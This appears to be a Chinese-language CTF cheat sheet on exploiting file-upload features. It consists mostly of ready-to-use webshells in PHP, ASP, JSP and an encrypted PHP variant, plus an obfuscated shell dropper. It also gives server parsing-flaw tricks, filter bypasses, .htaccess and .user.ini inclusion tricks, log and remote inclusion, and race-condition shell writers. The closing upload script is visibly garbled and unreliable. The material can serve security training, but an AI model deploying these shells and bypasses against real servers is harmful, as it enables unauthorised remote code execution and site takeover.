文件上传
木马
一句话木马
<?php @eval($_POST['1']); ?>
GIF89a? <script language="php">eval($_POST["2333"]);</script>
<?=eval($_POST['a']);?> <?=phpinfo();?>
<?=eval(array_pop($_POST))?>
GIF89a <?php $a = str_replace("b", "", "absbsbebrbt"); $a($_POST['x']); ?>
<%eval requset("cmd")%>
<%@ Page Language="Jscript"%> <%eval(Request.Item["cmd"],"unsafe");%>
|
进阶类木马
jsp木马, 密码为shell
<% if ("shell".equals(request.getParameter("pwd"))) { java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while ((a = in.read(b)) != -1) { out.print(new String(b)); } out.print("</pre>"); } %>
|
免杀马, 被包含或者执行之后生成1.php
<?php $a = '<?ph'.'p ev'.'al($_PO'.'ST[1]);?>'; file_put_contents('/var/www/html/1.php',$a); ?>
|
更高级一点的木马:
<?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; $_SESSION['k']=$key; session_write_close(); $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params); ?>
|
文件解析漏洞
Apache
从右向左解析,直到遇到可解析的后缀( 特性 )
只有当配置文件存在AddHandler application/x-httpd-php .php
,才会有解析漏洞
Nginx
低版本可以在任意文件名后添加%00.php进行攻击
高版本和IIS 7.5
一样,但是需要开启允许解析其他格式文件为PHP,否则会报错
/etc/php5/fpm/pool.d/www.conf 的 security.limit_extensions
|
Tomcat
远程代码执行 CVE-2017-12615
在配置文件web.xml中,servlet配置readonly=false
会引发任意文件上传漏洞
IIS
可处理.asp
,.cer
,.asa
IIS 6.0
在处理含有特殊符号的文件路径会出现逻辑错误
/test.asp/test.jpg // 新建test.asp目录,这个目录任何文件都被当作asp程序执行 test.asp;.jpg // 被 ; 影响,依然会被当作asp执行
|
IIS 7.5
url后缀中带有 .php 就交给 php 处理,修饰之后去掉 /.php,如果修饰后此文件存在,将该文件作为php程序执行
绕过
常见后缀黑白名单
函数pathinfo()获取文件后缀
Blacklist: php/ php2/ php3/ php4/ php5/ pht/ asp/ aspx/ ascx/ jsp/ bat/ exe/ dll
Whitelist: jpg/ png/ gif/ doc/ docx/ xls
其他: phtml/
|
前端检验绕过
过滤原理: 调用selectFile()
将文件名转换为小写,通过substr()
获取文件名后缀(包括点)进行判断
<form action="upload.php" method="post" enctype="multipart/form-data" onsubmit="return selectFile()"> // 删掉return selectFile()
|
仅仅在前端检测了文件后缀, 后缀并没有检测包
后端检验绕过
原理
后缀名检测
MIME类型检测
文件内容检测
00截断检测
条件竞争检测
后缀名黑名单
- 大小写绕过: php -> pHp
- 换后缀: 有些中间件可以解析其他后缀,asa,cer; 或者在httpd.conf配置文件添加配置
AddType application/x-httpd-php .php AddType application/x-httpd-php .php3 AddType application/x-httpd-php .phtml
|
- Windows特性: windows会自己修改不被允许的文件,所以部分情况一样可以解析为php:
描述 |
例子 |
末尾加点 |
1.php. |
末尾加空格 |
1.php |
加::$DATA |
1.php::$DATA |
后缀名白名单
常常配合文件包含或解析漏洞
MIME类型绕过
后端获取特征:
$_FILES["file"]["type"] != "image/jpeg"
|
文件扩展名 |
Mime-Type |
.js |
application/x-javascript |
.html |
text/html |
.jpg |
image/jpeg |
.png |
image/png |
.pdf |
application/pdf |
抓包, 在Content-Type
处修改MIME即可, 一般都会有
文件幻数检测
原理:getimagesize()获取图片宽高等信息,如果不是图片则没有信息; 即检测文件幻数
文件幻数: JPG: FF D8 FF E0 00 10 4A 46 49 46 GIF: 47 49 46 38 39 61 // GIF89a PNG: 89 50 4E 47 JPEG: FF D8 FF PNG: 89 50 4E 47 0D 0A 1A 0A PDF: 25 50 44 46 2D // 表示%PDF- ZIP: 50 4B 03 04 Windows可执行文件:4D 5A // 表示MZ TIFF:49 49 2A 00 或 4D 4D 00 2A
|
Winhex在文件头部补充即可, 又叫做文件头检测
文件内容检测
检查不能有特定符号和字符串, 比如php, 括号等
通常利用配置文件加上短标签绕过, 这里给出一些例子:
检测 |
绕过 |
php |
配置文件/短标签 |
中括号 |
大括号 |
分号 |
更换木马/直接执行命令 |
直接执行命令例子如下:
<?=system("tac /var/www/html/flag.php")?> <?=system("tac ../flag.php")?>
|
其他方法
00截断
原理: 即chr(0),程序把它当成了结束符号
php版本小于5.3.4
magic_quotes_gpc为OFF
phar文件上传
配置文件上传
条件: httpd.conf 中 AllowOverride
参数为 All, 即允许.htaccess文件覆盖掉 Apache 的配置
SetHandler application/x-httpd-php SetHandler application/x-httpd-php .jpg // 将内容符合php语法规则的文件当作php文件解析, shell.jpg 会被执行
AddHandler php5-script .php // 匹配文件名中的关键字, shell.php.png会被执行
<FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch> // 匹配文件名字
|
条件: 当前目录下有php文件才会启用用户INI文件
常见的利用方法是利用可访问的文件去包含新上传的木马, 可用配置项目如下:
- auto_append_file
- auto_prepend_file
区别在于auto_prepend_file
是在文件前插入;auto_append_file
在文件最后插入(文件末尾有exit()
时该设置无效)
下面是一个例子, 传入之后再次上传shell.jpg会被自动包含
auto_prepend_file=shell.jpg
|
文件包含
利用配置文件上传使得日志被包含, 然后就是构造UA头再次访问, 直接getshell
可以用的木马:
<?=include '/var/l'.'og/nginx/access.l'.'og'?>
|
或者直接在配置文件里面写: .user.ini
auto_prepend_file=/var/log/nginx/access.log
auto_append_file=php://input
|
同日志包含, 这个也就是改改木马; 如果点也被过滤, 可以用长数字ip: 转换网址
<?=include"http://数字IP/shell"?>
|
条件竞争
绕过原理: 删除之前访问未删除的文件,生成真正使用的木马
上传上去的文件马上就被删除了, 假如上传目录可以被访问/包含, 那就可以用条件竞争; 比较推荐使用脚本语言写脚本
<?php fputs(foprn('../shell.php','w'),'<?php phpinfo();?>'); ?>
|
图片二次渲染
文件上传之图片二次渲染上传
直接看ctfshow web164
文件下载
有些网站下载的方法是进行文件包含(download?file=…), 可以先上传一个文件末尾增加了一句话的木马文件, 抓下载包就可以执行命令了
极端情况
如果真没有办法上传, 但是可以写新文件或更改现有页面(网站后台), 试试以下代码
<?php if ($_FTLES[ "file" ] [ "error"] > 0) { echo "错误:" . $_FILES[ "file" ][ "error"] . "<br>"; } else { echo "上传文件名;”. $_FILES[ "file" ][" name " ] . "<br>"; echo“文件类型:“ . S_FILES[ "file" ] [ "type"] . “<br>"; echo "文件大小:”. ($_FILES[ "file" ] [ "size" ] / 1024) . " kB<br>"; //输出一些对应的信息 echo "文件临时存储的位置:”. $_FILES[ "file"]["tmp_name " ]; if (file_exists( " upload:" . $_FILES[ "filc" ] [ " name" ] ) ) { echo $_FILES["file" ][ "name" ] .”文件已经存在。“; ) else { move_uploaded_file($_FILES[ "file' ] [ " tmp_name" ],"upload/" . $_FILES[ " file" ][ " name" ) ); echo "文件存储在:” . "upload/" . $_FILES[ "file" ] [ "name " ] ; } //输出位置 } ?>
|
<html> <head> <meta charset="utf-8"> <title>文件上传</title> //inpuut type类型必须为file < / head> <body>
<form action="upload_file.php " method="post" enctype="multipart/form-data"> <label for="file" >文件名: < /label> <input type="file" name="file" id="file" o<br> <input type= "submit" name="submit" value="提交"> < /form>
</body> </html>
|